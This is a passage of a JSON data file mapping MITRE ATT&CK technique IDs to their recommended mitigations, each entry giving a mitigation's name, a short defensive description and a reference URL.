"https://attack.mitre.org/mitigations/M1046"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1042", "mitigations": [{"name": "Change Default File Association Mitigation", "description": "Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft's best practices for file associations. (Citation: MSDN File Associations)", "url": ""}]}, {"_id": "T1117", "mitigations": [{"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}]}, {"_id": "T1164", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}]}, {"_id": "T1054", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Software Configuration", "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", "url": "https://attack.mitre.org/mitigations/M1054"}]}, {"_id": "T1108", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1193", "mitigations": [{"name": "Antivirus/Antimalware", "description": "Use signatures or heuristics to detect malicious software.", "url": "https://attack.mitre.org/mitigations/M1049"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}, {"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}]}, {"_id": "T1215", "mitigations": [{"name": "Antivirus/Antimalware", "description": "Use signatures or heuristics to detect malicious software.", "url": "https://attack.mitre.org/mitigations/M1049"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1101", "mitigations": [{"name": "Privileged Process Integrity", "description": "Protect processes with high privileges that can be used to interact with critical system components through use of protected process light, anti-process injection defenses, or other process integrity enforcement measures.", "url": "https://attack.mitre.org/mitigations/M1025"}]}, {"_id": "T1177", "mitigations": [{"name": "Restrict Library Loading", "description": "Prevent abuse of library loading mechanisms in the operating system and software to load untrusted code by configuring appropriate library loading mechanisms and investigating potential vulnerable software.", "url": "https://attack.mitre.org/mitigations/M1044"}, {"name": "Credential Access Protection", "description": "Use capabilities to prevent successful credential access by adversaries; including blocking forms of credential dumping.", "url": "https://attack.mitre.org/mitigations/M1043"}, {"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}]}, {"_id": "T1125", "mitigations": [{"name": "Video Capture Mitigation", "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.", "url": ""}]}, {"_id": "T1144", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1045", "mitigations": [{"name": "Antivirus/Antimalware", "description": "Use signatures or heuristics to detect malicious software.", "url": "https://attack.mitre.org/mitigations/M1049"}]}, {"_id": "T1016", "mitigations": [{"name": "System Network Configuration Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system's network configuration, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1504", "mitigations": [{"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Software Configuration", "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", "url": "https://attack.mitre.org/mitigations/M1054"}]}, {"_id": "T1198", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Restrict Registry Permissions", "description": "Restrict the ability to modify certain hives or keys in the Windows Registry.", "url": "https://attack.mitre.org/mitigations/M1024"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1087", "mitigations": [{"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1090", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1059", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1482", "mitigations": [{"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}]}, {"_id": "T1175", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}]}, {"_id": "T1020", "mitigations": [{"name": "Automated Exfiltration Mitigation", "description": "Identify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1070", "mitigations": [{"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}, {"name": "Remote Data Storage", "description": "Use remote security log and sensitive file storage where access can be controlled better to prevent exposure of intrusion detection log data or sensitive information.", "url": "https://attack.mitre.org/mitigations/M1029"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1083", "mitigations": [{"name": "File and Directory Discovery Mitigation", "description": "File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1138", "mitigations": [{"name": "User Account Control", "description": "Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.", "url": "https://attack.mitre.org/mitigations/M1052"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}]}, {"_id": "T1191", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1188", "mitigations": [{"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}]}, {"_id": "T1074", "mitigations": [{"name": "Data Staged Mitigation", "description": "Identify system utilities, remote access or third-party tools, users or potentially malicious software that may be used to store compressed or encrypted data in a publicly writeable directory, central location, or commonly used staging directories (e.g. recycle bin) that is indicative of non-standard behavior, and audit and/or block them by using file integrity monitoring tools where appropriate. Consider applying data size limits or blocking file writes of common compression and encryption utilities such as 7zip, RAR, ZIP, or zlib on frequently used staging directories or central locations and monitor attempted violations of those restrictions.", "url": ""}]}, {"_id": "T1049", "mitigations": [{"name": "System Network Connections Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about network connections, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1064", "mitigations": [{"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1051", "mitigations": [{"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Limit Access to Resource Over Network", "description": "Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.", "url": "https://attack.mitre.org/mitigations/M1035"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1497", "mitigations": [{"name": "Virtualization/Sandbox Evasion Mitigation", "description": "Mitigation of this technique with preventative controls may impact the adversary's decision process depending on what they're looking for, how they use the information, and what their objectives are. Since it may be difficult to mitigate all aspects of information that could be gathered, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.", "url": ""}]}, {"_id": "T1102", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}, {"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}]}, {"_id": "T1104", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1480", "mitigations": [{"name": "Do Not Mitigate", "description": "This category is to associate techniques that mitigation might increase risk of compromise and therefore mitigation is not recommended.", "url": "https://attack.mitre.org/mitigations/M1055"}]}, {"_id": "T1528", "mitigations": [{"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1204", "mitigations": [{"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1196", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1057", "mitigations": [{"name": "Process Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1141", "mitigations": [{"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}]}, {"_id": "T1072", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Active Directory Configuration", "description": "Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.", "url": "https://attack.mitre.org/mitigations/M1015"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "Remote Data Storage", "description": "Use remote security log and sensitive file storage where access can be controlled better to prevent exposure of intrusion detection log data or sensitive information.", "url": "https://attack.mitre.org/mitigations/M1029"}]}, {"_id": "T1041", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1060", "mitigations": [{"name": "Registry Run Keys / Startup Folder Mitigation", "description": "Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1023", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1026", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1122", "mitigations": [{"name": "Component Object Model Hijacking Mitigation", "description": "Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.", "url": ""}]}, {"_id": "T1015", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}, {"name": "Limit Access to Resource Over Network", "description": "Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.", "url": "https://attack.mitre.org/mitigations/M1035"}]}, {"_id": "T1212", "mitigations": [{"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Threat Intelligence Program", "description": "A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.", "url": "https://attack.mitre.org/mitigations/M1019"}, {"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}]}, {"_id": "T1210", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Vulnerability Scanning", "description": "Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.", "url": "https://attack.mitre.org/mitigations/M1016"}, {"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Threat Intelligence Program", "description": "A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.", "url": "https://attack.mitre.org/mitigations/M1019"}, {"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}]}, {"_id": "T1502", "mitigations": []}, {"_id": "T1142", "mitigations": [{"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}]}, {"_id": "T1534", "mitigations": []}, {"_id": "T1169", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1199", "mitigations": [{"name": "User Account Control", "description": "Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.", "url": "https://attack.mitre.org/mitigations/M1052"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}]}, {"_id": "T1149", "mitigations": [{"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}]}, {"_id": "T1098", "mitigations": [{"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1170", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1048", "mitigations": [{"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1097", "mitigations": [{"name": "Active Directory Configuration", "description": "Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.", "url": "https://attack.mitre.org/mitigations/M1015"}, {"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1061", "mitigations": [{"name": "Graphical User Interface Mitigation", "description": "Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.", "url": ""}]}, {"_id": "T1110", "mitigations": [{"name": "Account Use Policies", "description": "Configure features related to account use like login attempt lockouts, specific login times, etc.", "url": "https://attack.mitre.org/mitigations/M1036"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}]}, {"_id": "T1157", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1001", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1039", "mitigations": [{"name": "Data from Network Shared Drive Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from a network share, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1078", "mitigations": [{"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Application Developer Guidance", "description": "This mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.", "url": "https://attack.mitre.org/mitigations/M1013"}, {"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}]}, {"_id": "T1073", "mitigations": [{"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}]}, {"_id": "T1068", "mitigations": [{"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}, {"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}, {"name": "Threat Intelligence Program", "description": "A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.", "url": "https://attack.mitre.org/mitigations/M1019"}]}, {"_id": "T1531", "mitigations": []}, {"_id": "T1208", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}, {"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}]}, {"_id": "T1027", "mitigations": [{"name": "Antivirus/Antimalware", "description": "Use signatures or heuristics to detect malicious software.", "url": "https://attack.mitre.org/mitigations/M1049"}]}, {"_id": "T1154", "mitigations": [{"name": "Trap Mitigation", "description": "Due to potential legitimate uses of trap commands, it's may be difficult to mitigate use of this technique.", "url": ""}]}, {"_id": "T1201", "mitigations": [{"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}]}, {"_id": "T1187", "mitigations": [{"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}, {"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}]}, {"_id": "T1486", "mitigations": [{"name": "Data Backup", "description": "Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.", "url": "https://attack.mitre.org/mitigations/M1053"}]}, {"_id": "T1488", "mitigations": [{"name": "Data Backup", "description": "Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.", "url": "https://attack.mitre.org/mitigations/M1053"}]}, {"_id": "T1174", "mitigations": [{"name": 